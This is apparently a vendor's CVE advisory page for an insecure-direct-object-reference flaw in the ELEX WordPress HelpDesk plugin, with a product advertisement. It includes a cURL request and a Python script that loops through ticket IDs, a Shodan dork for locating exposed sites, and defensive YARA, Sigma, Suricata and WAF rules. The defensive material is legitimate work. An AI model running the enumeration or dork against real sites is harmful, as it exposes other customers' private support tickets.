☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10039

CVE-2025-10039 Insecure Direct Object Reference in Elex
📅 PUBLISHED: 2025-11-21 12:28 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10039 is an Insecure Direct Object Reference (IDOR) vulnerability discovered in the ELEX WordPress HelpDesk & Customer Ticketing System plugin, affecting all versions up to and including 3.2.9. This vulnerability allows authenticated attackers with Subscriber-level access or higher to read the contents of any support ticket by manipulating a user-controlled key in the eh_crm_ticket_single_view_client function. The plugin is part of the WordPress ecosystem, and the flaw stems from missing validation on the ticket ID parameter, enabling unauthorized access to sensitive customer support data. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a WordPress ecosystem issue, the risk extends to any site running the vulnerable plugin. Supply chain risks include potential compromise of the plugin update mechanism or malicious forks. Administrators should verify plugin integrity via checksums and monitor for official patches from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber-level)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (ticket data exposure)
  • Integrity Impact: None
  • Availability Impact: None

The threat level is Medium due to the low privileges required and the potential exposure of sensitive customer support data, including personal information and internal communications.

Deep Dive & Mechanics

The vulnerability resides in the eh_crm_ticket_single_view_client function, which is responsible for rendering a single support ticket view for clients. The function accepts a ticket ID from the user (likely via a GET or POST parameter) without proper authorization checks. An authenticated attacker with Subscriber-level access can enumerate ticket IDs and view tickets belonging to other users.

Root Cause: The plugin fails to validate that the authenticated user is the owner or has permission to view the requested ticket. The missing validation on the user-controlled key (ticket ID) allows direct object reference attacks.

Attack Flow:

  1. Attacker authenticates as a Subscriber.
  2. Attacker crafts a request to the vulnerable endpoint, e.g., /?eh_crm_ticket_single_view_client=123.
  3. The plugin retrieves and displays ticket data without verifying ownership.
  4. Attacker iterates through ticket IDs to exfiltrate all support tickets.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be similar to:

// Vulnerable code (conceptual)
function eh_crm_ticket_single_view_client() {
    $ticket_id = $_GET['ticket_id'];
    $ticket = get_ticket_by_id($ticket_id);
    // Missing: check if current user owns the ticket
    display_ticket($ticket);
}

A patched version would include an ownership check:

// Patched code (conceptual)
function eh_crm_ticket_single_view_client() {
    $ticket_id = $_GET['ticket_id'];
    $ticket = get_ticket_by_id($ticket_id);
    if ($ticket->user_id !== get_current_user_id()) {
        wp_die('Unauthorized');
    }
    display_ticket($ticket);
}

Exploitation & Lab Setup

Red Team

Prerequisites: Authenticated WordPress user with Subscriber role.

Exploitation Steps:

  1. Log in to WordPress as a Subscriber.
  2. Use a tool like Burp Suite or cURL to send requests to the vulnerable endpoint.
  3. Enumerate ticket IDs by incrementing the ticket_id parameter.

Example cURL command:

curl -b "wordpress_logged_in_cookie=..." "http://target.com/?eh_crm_ticket_single_view_client=1"

Automated enumeration script:

import requests

cookies = {"wordpress_logged_in_cookie": "..."}
for ticket_id in range(1, 1000):
    r = requests.get(f"http://target.com/?eh_crm_ticket_single_view_client={ticket_id}", cookies=cookies)
    if "Ticket Subject" in r.text:
        print(f"Found ticket: {ticket_id}")

Blue Team

Detection:

  • Monitor for unusual patterns in eh_crm_ticket_single_view_client parameter usage.
  • Alert on rapid sequential requests to the vulnerable endpoint from a single user.
  • Review logs for Subscriber-level users accessing multiple tickets.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri=*eh_crm_ticket_single_view_client* user_role=subscriber
| stats count by src_ip, uri
| where count > 10

Indicators of Compromise (IOCs)

  • URL Pattern: /?eh_crm_ticket_single_view_client=[0-9]+
  • Log Entries: Repeated GET requests to the vulnerable endpoint from authenticated Subscriber users.
  • Network Traffic: Sequential HTTP requests with incrementing ticket IDs.
  • File Hashes: No specific file hashes available; monitor for modified plugin files.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_10039_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10039 in ELEX HelpDesk plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10039"
    strings:
        $param = "eh_crm_ticket_single_view_client" ascii wide nocase
        $ticket_id = "ticket_id" ascii wide nocase
    condition:
        $param or $ticket_id
}

Sigma Rule

title: CVE-2025-10039 IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit IDOR in ELEX HelpDesk plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "eh_crm_ticket_single_view_client"
    condition: selection
falsepositives:
    - Legitimate ticket viewing by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10039 ELEX HelpDesk IDOR Exploit";
    flow:to_server,established;
    content:"eh_crm_ticket_single_view_client";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Restrict Subscriber access to the vulnerable endpoint via web application firewall (WAF) rules.
  3. Monitor logs for suspicious activity related to the vulnerable parameter.

Long-term Fix:

  • Apply vendor patch when released.
  • Implement proper authorization checks for all user-controlled object references.
  • Conduct code review of the plugin for similar IDOR vulnerabilities.

WAF Rule (ModSecurity):

SecRule ARGS:eh_crm_ticket_single_view_client "!@eq 0" "id:1000001,phase:2,deny,status:403,msg:'CVE-2025-10039 IDOR Attempt'"

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/elex-helpdesk-customer-support-ticket-system"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10039/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.